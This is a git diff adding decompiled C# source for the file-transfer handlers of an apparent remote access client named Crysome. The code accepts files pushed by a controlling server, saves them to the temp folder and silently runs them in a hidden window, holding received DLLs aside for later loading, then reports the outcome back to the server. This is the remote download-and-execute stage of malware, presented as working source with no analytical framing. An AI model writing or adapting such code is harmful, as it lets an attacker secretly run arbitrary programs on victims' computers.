initial commit
This commit is contained in:
@@ -0,0 +1,135 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.FileTransfer;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class FileTransferHandlers
|
||||
{
|
||||
private const int MaxFileBytes = 157286400;
|
||||
|
||||
private static FtReceiver _receiver;
|
||||
|
||||
internal static volatile string LastDllPath;
|
||||
|
||||
public static void HandleFileTransfer(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Expected O, but got Unknown
|
||||
//IL_00a1: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00ab: Expected O, but got Unknown
|
||||
FileTransferRequestPacket val = (FileTransferRequestPacket)packet;
|
||||
string text;
|
||||
try
|
||||
{
|
||||
if (val.FileData == null || val.FileData.Length == 0)
|
||||
{
|
||||
text = "ERR: Empty payload";
|
||||
}
|
||||
else if (val.FileData.Length > 157286400)
|
||||
{
|
||||
text = "ERR: Payload too large";
|
||||
}
|
||||
else
|
||||
{
|
||||
string text2 = SanitizeFileName(val.Filename);
|
||||
string text3 = Path.Combine(Path.GetTempPath(), text2);
|
||||
File.WriteAllBytes(text3, val.FileData);
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = text3,
|
||||
UseShellExecute = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
text = "OK: " + text2;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
text = "ERR: " + ex.Message;
|
||||
}
|
||||
client.SendPacket((IPacket)new FileTransferResponsePacket(text));
|
||||
}
|
||||
|
||||
public static void HandleFtStart(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000b: Expected O, but got Unknown
|
||||
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006d: Expected O, but got Unknown
|
||||
_receiver = new FtReceiver(client);
|
||||
_receiver.OnComplete = delegate(string name, byte[] data)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text = SanitizeFileName(name);
|
||||
string text2 = Path.Combine(Path.GetTempPath(), text);
|
||||
File.WriteAllBytes(text2, data);
|
||||
Program.Log("FtReceiver saved: " + text2 + " (" + data.Length + " B)");
|
||||
if (text.EndsWith(".dll", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
LastDllPath = text2;
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = text2,
|
||||
UseShellExecute = true,
|
||||
WindowStyle = ProcessWindowStyle.Hidden
|
||||
});
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("FtReceiver execute error: " + ex.Message);
|
||||
}
|
||||
};
|
||||
_receiver.OnError = delegate(string msg)
|
||||
{
|
||||
Program.Log("FtReceiver error: " + msg);
|
||||
};
|
||||
_receiver.HandleStart((FtStartPacket)packet);
|
||||
}
|
||||
|
||||
public static void HandleFtChunk(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0015: Expected O, but got Unknown
|
||||
FtReceiver receiver = _receiver;
|
||||
if (receiver != null)
|
||||
{
|
||||
receiver.HandleChunk((FtChunkPacket)packet);
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleFtAbort(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_000b: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0015: Expected O, but got Unknown
|
||||
FtReceiver receiver = _receiver;
|
||||
if (receiver != null)
|
||||
{
|
||||
receiver.HandleAbort((FtAbortPacket)packet);
|
||||
}
|
||||
}
|
||||
|
||||
private static string SanitizeFileName(string name)
|
||||
{
|
||||
if (string.IsNullOrEmpty(name))
|
||||
{
|
||||
return "received.dat";
|
||||
}
|
||||
char[] invalidFileNameChars = Path.GetInvalidFileNameChars();
|
||||
foreach (char oldChar in invalidFileNameChars)
|
||||
{
|
||||
name = name.Replace(oldChar, '_');
|
||||
}
|
||||
return name;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user